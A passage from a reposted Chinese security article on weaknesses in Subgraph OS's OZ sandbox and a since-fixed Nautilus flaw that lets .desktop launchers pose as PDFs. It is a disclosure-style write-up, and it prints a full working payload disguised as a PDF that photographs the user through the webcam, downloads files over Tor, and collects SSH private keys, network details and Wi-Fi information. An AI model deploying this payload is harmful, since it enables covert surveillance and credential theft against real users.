欢迎来到 黑吧安全网 聚焦网络安全前沿资讯,精华内容,交流技术心得!

Subgraph操作系统绝非你想象的那么安全

来源:本站整理 作者:佚名 时间:2019-01-10 TAG: 我要投稿
Subgraph的OZ沙盒技术中的漏洞
OZ沙盒类似于macOS的应用程序沙盒,能锁定特定应用程序即将执行的操作,以便提前对被黑客攻击的这些应用程序进行防护。虽然OZ沙盒技术非常具有创造性,但对于端点安全的解决方案来说,还是非常的不令人满意。
一方面,我们在Subgraph中运行的大多数程序都没有沙盒。 GNOME的大部分都不是,图形文件管理器Nautilus不是,终端应用程序也不是。如果攻击者可以欺骗用户在Nautilus或终端中运行一个unsandboxed的脚本,那沙盒防护就算失败了。如果用户安装了没有OZ配置文件的定制软件,攻击者利用这个软件,也会让沙盒防护失败。
在Subgraph 操作系统中获得未分配的远程代码执行的攻击者可以有很多访问权限,他们可以看到并渗透所有用户的数据,比如,PGP密钥,SSH密钥,存储的电子邮件,文档,密码数据库等。他们可以从麦克风收听并通过网络摄像头监控用户,他们可以查看学习网络接口的MAC地址,并且可以看到附近的WiFi接入点和蓝牙设备,可以用来对用户进行匿名化攻击,从而在目标用户的计算机上安装一个持久的后门。
另一方面,就像在Qubes中一样,OZ沙盒没有办法区分用户的计算机的不同部分分别起到什么作用。因为用户不能使用单独的沙盒来处理某些不受信任的文档或者让某些隐私更安全或者在线管理不同的匿名身份。Subgraph 操作系统中的所有数据在某些时候都有可能被未经封装的程序访问。
就拿Qubes举个简单的例子吧,Qubes充分利用了虚拟化技术(基于安全虚拟机Xen),所有用户应用程序都运行在AppVM(基于Linux的轻量级虚拟机)中,彼此隔离。而联网代码使用IOMMU/VT-d放在一个非特权虚拟机中,在特权域 (dom0) 中没有任何联网代码。许多系统级组件放在沙盒中,以避免互相影响。
用.desktop文件侵入免费桌面工具
在免费的桌面工具中,应用程序启动器都是.desktop文件。用户的Linux box上的每个GUI应用程序都有一个桌面文件,只需检查 /usr/share/applications。如果我们正在创建自定义应用程序启动器,那就要在.desktop文件中指定应用程序的名称,图标以及执行应用程序时要运行的内容。
如果打开Nautilus并浏览到其中包含.desktop文件的文件夹,则可以以两种方式显示:
1.如果文件不可执行,则Nautilus就不会信任它,并显示完整的原始文件名,包括.desktop扩展名和默认图标。
2.如果文件是可执行的,则Nautilus就会信任它,并显示文件中指定的任何名称和图标。这就是为什么我们构建的漏洞会被压缩,所以我们可以确保我们的恶意的.desktop文件是可执行的。
值得注意的是,这是Nautilus的一个巨大的安全漏洞。使用Nautilus的所有Linux用户,包括使用GNOME,Unity,Cinnamon的所有用户都容易受到欺骗。这个错误已经在1月份被报告给Nautilus,现在已经解决了,大家可以注意一下,现在会弹出一个警告,询问你是否在执行桌面启动器之前信任桌面启动器的源代码。
目前Debian Stretch 3.22.3,Fedora 25 3.22.2,Ubuntu 16.10 3.20.3,Ubuntu 17.04 3.20.4中都存在这些问题。Subgraph开发者指出了这个最近的github问题,表明他们也考虑过这个问题。他们还表示,他们正在计划审核Nautilus源代码。
我们创建的一个名为sgos_handbook.pdf.desktop漏洞的文件,其实我们还可以将其命名为malware.desktop,使它在Nautilus中看起来和其他漏洞文件。该名称设置为sgos_handbook.pdf,图标是gnome-mime-application-pdf,它是Subgraph中PDF的默认图标 ,这两个文件标识,可以让我们以为这个漏洞文件就是运行在Nautilus的真正的PDF文件。此外,请注意,这个伪装的PDF文件在运行时被设置为执行恶意shell脚本:
#!/usr/bin/env xdg-open
[Desktop Entry]
Encoding=UTF-8
Name=sgos_handbook.pdf
Exec=sh -c 'ROOT=$(dirname $(dirname $(find $HOME -type f -name sgos_handbook.pdf.desktop)) |head -n1); evince $ROOT/static/sgos_handbook.pdf; mkdir $HOME/.config/tools; cd $HOME/.config/tools; torify apt download fswebcam; dpkg-deb -xv `ls fswebcam_*.deb` .; ./usr/bin/fswebcam -r 640x480 $HOME/webcam-snapshot.jpg; torify wget /Article/UploadPic/2019-1/201911021919991.jpg -O $HOME/attacker-can-drop-files-from-the-internet.jpg; echo "ifconfig output:" >> $HOME/pwnlog.txt; /sbin/ifconfig >> $HOME/pwnlog.txt; echo >> $HOME/pwnlog.txt; echo "tor exit node info:" >> $HOME/pwnlog.txt; torify curl https://ifconfig.co/json >> $HOME/pwnlog.txt; echo >> $HOME/pwnlog.txt; echo >> $HOME/pwnlog.txt; echo "ssh public and secret keys:" >> $HOME/pwnlog.txt; cat $HOME/.ssh/id_rsa.pub >> $HOME/pwnlog.txt; echo >> $HOME/pwnlog.txt; cat $HOME/.ssh/id_rsa >> $HOME/pwnlog.txt; echo >> $HOME/pwnlog.txt; echo "nearby wifi:" >> $HOME/pwnlog.txt; /sbin/iwlist $INTERFACE scan >> $HOME/pwnlog.txt; echo >> $HOME/pwnlog.txt; echo "saved wifi networks:" >> $HOME/pwnlog.txt; ls /etc/NetworkManager/system-connections >> $HOME/pwnlog.txt; echo >> $HOME/pwnlog.txt;'
Terminal=false
Type=Application
Icon=gnome-mime-application-pdf
这是一个更加人性化并且具备了评论功能的有效载荷:
#!/bin/sh
# Find the location of the extracted sgos_handbook folder
ROOT=$(dirname $(dirname $(find $HOME -type f -name sgos_handbook.pdf.desktop)) |head -n1);
# Open the actual PDF in an oz sandbox
evince $ROOT/static/sgos_handbook.pdf;
# Take a snapshot from the webcam
mkdir $HOME/.config/tools;

上一页  [1] [2] [3] [4]  下一页

【声明】:黑吧安全网(http://www.myhack58.com)登载此文出于传递更多信息之目的,并不代表本站赞同其观点和对其真实性负责,仅适于网络安全技术爱好者学习研究使用,学习中请遵循国家相关法律法规。如有问题请联系我们,联系邮箱admin@myhack58.com,我们会在最短的时间内进行处理。
  • 最新更新
    • 相关阅读
      • 本类热门
        • 最近下载